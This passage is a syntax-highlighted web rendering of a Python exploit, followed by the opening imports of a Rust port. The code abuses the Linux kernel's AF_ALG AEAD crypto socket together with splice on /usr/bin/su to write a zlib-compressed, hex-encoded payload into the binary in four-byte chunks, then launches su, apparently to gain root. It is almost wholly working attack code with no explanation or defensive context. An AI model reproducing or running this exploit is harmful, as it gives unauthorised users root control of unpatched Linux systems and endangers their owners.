class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">aead<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">authencesn(hmac(sha256),cbc(aes))<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">ALG_SET_KEY</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-constant z-numeric z-integer z-decimal z-python">1</span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">ALG_SET_AEAD_AUTHSIZE</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-constant z-numeric z-integer z-decimal z-python">5</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">key</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">hex_to_bytes</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&#39;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python">0800010000000010<span class="z-punctuation z-definition z-string z-end z-python">&#39;</span></span></span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&#39;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python">0<span class="z-punctuation z-definition z-string z-end z-python">&#39;</span></span></span> <span class="z-keyword z-operator z-arithmetic z-python">*</span> <span class="z-constant z-numeric z-integer z-decimal z-python">64</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">sock</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">setsockopt</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">SOL_ALG</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">ALG_SET_KEY</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">key</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">sock</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">setsockopt</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">SOL_ALG</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">ALG_SET_AEAD_AUTHSIZE</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-language z-python">None</span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">conn</span></span>, <span class="z-meta z-qualified-name z-python"><span class="z-variable z-language z-python">_</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">sock</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">accept</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">total_len</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">offset</span></span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">zero</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">hex_to_bytes</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&#39;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python">00<span class="z-punctuation z-definition z-string z-end z-python">&#39;</span></span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">conn</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">sendmsg</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span> </span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"> <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-storage z-type z-string z-python">b</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">A<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span> <span class="z-keyword z-operator z-arithmetic z-python">*</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">chunk_data</span></span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"> <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span> </span></span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-comment z-line z-number-sign z-python"><span class="z-punctuation z-definition z-comment z-python">#</span>(IV) </span></span></span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-comment z-line z-number-sign z-python"><span class="z-punctuation z-definition z-comment z-python">#</span>(ASSOCLEN) </span></span></span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-comment z-line z-number-sign z-python"><span class="z-punctuation z-definition z-comment z-python">#</span>(OP) </span></span></span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-meta z-sequence z-tuple z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">SOL_ALG</span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">3</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">zero</span></span> <span class="z-keyword z-operator z-arithmetic z-python">*</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-meta z-sequence z-tuple z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">SOL_ALG</span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">2</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-storage z-type z-string z-python">b</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&#39;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python"><span class="z-constant z-character z-escape z-hex z-python">\x10</span><span class="z-punctuation z-definition z-string z-end z-python">&#39;</span></span></span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">zero</span></span> <span class="z-keyword z-operator z-arithmetic z-python">*</span> <span class="z-constant z-numeric z-integer z-decimal z-python">19</span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-meta z-sequence z-tuple z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant z-python">SOL_ALG</span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-storage z-type z-string z-python">b</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&#39;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-single z-python"><span class="z-constant z-character z-escape z-hex z-python">\x08</span><span class="z-punctuation z-definition z-string z-end z-python">&#39;</span></span></span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">zero</span></span> <span class="z-keyword z-operator z-arithmetic z-python">*</span> <span class="z-constant z-numeric z-integer z-decimal z-python">3</span><span class="z-punctuation z-section z-sequence z-end z-python">)</span></span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-punctuation z-section z-sequence z-end z-python">]</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"> <span class="z-constant z-numeric z-integer z-decimal z-python">32768</span> </span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"> <span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">read_fd</span></span>, <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">write_fd</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">os</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">pipe</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">os</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">splice</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">write_fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">total_len</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-variable z-parameter z-python">offset_src</span><span class="z-keyword z-operator z-assignment z-python">=</span><span class="z-constant z-numeric z-integer z-decimal z-python">0</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">os</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">splice</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">read_fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">conn</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">fileno</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">total_len</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-statement z-exception z-try z-python"><span class="z-keyword z-control z-exception z-try z-python">try</span><span class="z-punctuation z-section z-block z-exception z-try z-python">:</span></span> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">conn</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">recv</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">8</span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">offset</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-statement z-exception z-catch z-python"><span class="z-keyword z-control z-exception z-catch z-python">except</span> <span class="z-support z-type z-exception z-python">Exception</span><span class="z-punctuation z-section z-block z-exception z-catch z-python">:</span></span> </span><span class="z-source z-python"> <span class="z-keyword z-control z-flow z-pass z-python">pass</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-meta z-function z-python"><span class="z-storage z-type z-function z-python"><span class="z-keyword z-declaration z-function z-python">def</span></span> <span class="z-entity z-name z-function z-python"><span class="z-meta z-generic-name z-python">main</span></span></span><span class="z-meta z-function z-parameters z-python"><span class="z-punctuation z-section z-parameters z-begin z-python">(</span></span><span class="z-meta z-function z-parameters z-python"><span class="z-punctuation z-section z-parameters z-end z-python">)</span></span><span class="z-meta z-function z-python"><span class="z-punctuation z-section z-function z-begin z-python">:</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fd</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">os</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">open</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">/usr/bin/su<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">os</span><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-variable z-other z-constant z-python">O_RDONLY</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">compressed</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">hex_to_bytes</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span> </span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"> <span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span> </span></span><span class="z-source z-python"><span class="z-meta z-function-call z-arguments z-python"> <span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">payload</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">zlib</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">decompress</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">compressed</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">offset</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-constant z-numeric z-integer z-decimal z-python">0</span> </span><span class="z-source z-python"> <span class="z-meta z-statement z-loop z-while z-python"><span class="z-keyword z-control z-loop z-while z-python">while</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">offset</span></span> <span class="z-keyword z-operator z-comparison z-python">&lt;</span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-support z-function z-builtin z-python">len</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">payload</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-block z-loop z-while z-python">:</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">chunk</span></span> <span class="z-keyword z-operator z-assignment z-python">=</span> <span class="z-meta z-item-access z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">payload</span></span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-begin z-python">[</span></span><span class="z-meta z-item-access z-arguments z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">offset</span></span><span class="z-punctuation z-separator z-slice z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">offset</span></span> <span class="z-keyword z-operator z-arithmetic z-python">+</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span></span><span class="z-meta z-item-access z-python"><span class="z-punctuation z-section z-brackets z-end z-python">]</span></span> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">send_chunk</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fd</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">offset</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">chunk</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">offset</span></span> <span class="z-keyword z-operator z-assignment z-augmented z-python">+=</span> <span class="z-constant z-numeric z-integer z-decimal z-python">4</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">os</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">system</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">su<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-meta z-statement z-conditional z-if z-python"><span class="z-keyword z-control z-conditional z-if z-python">if</span> <span class="z-meta z-qualified-name z-python"><span class="z-support z-variable z-magic z-python">__name__</span></span> <span class="z-keyword z-operator z-comparison z-python">==</span> <span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python"><span class="z-punctuation z-definition z-string z-begin z-python">&quot;</span></span></span><span class="z-meta z-string z-python"><span class="z-string z-quoted z-double z-python">__main__<span class="z-punctuation z-definition z-string z-end z-python">&quot;</span></span></span><span class="z-punctuation z-section z-block z-conditional z-if z-python">:</span></span> </span><span class="z-source z-python"> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">main</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">use</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-set z-python"><span class="z-punctuation z-section z-set z-begin z-python">{</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">env</span></span><span class="z-punctuation z-separator z-set z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fs</span></span><span class="z-punctuation z-separator z-set z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">io</span></span><span class="z-punctuation z-section z-set z-end z-python">}</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">use</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">ffi</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">CString</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">use</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fs</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">File</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">use</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">io</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-set z-python"><span class="z-punctuation z-section z-set z-begin z-python">{</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Read</span></span><span class="z-punctuation z-separator z-set z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">Write</span></span><span class="z-punctuation z-section z-set z-end z-python">}</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">use</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">os</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">unix</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">io</span></span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-punctuation z-separator z-annotation z-variable z-python">:</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">AsRawFd</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">const</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-variable z-other z-constant 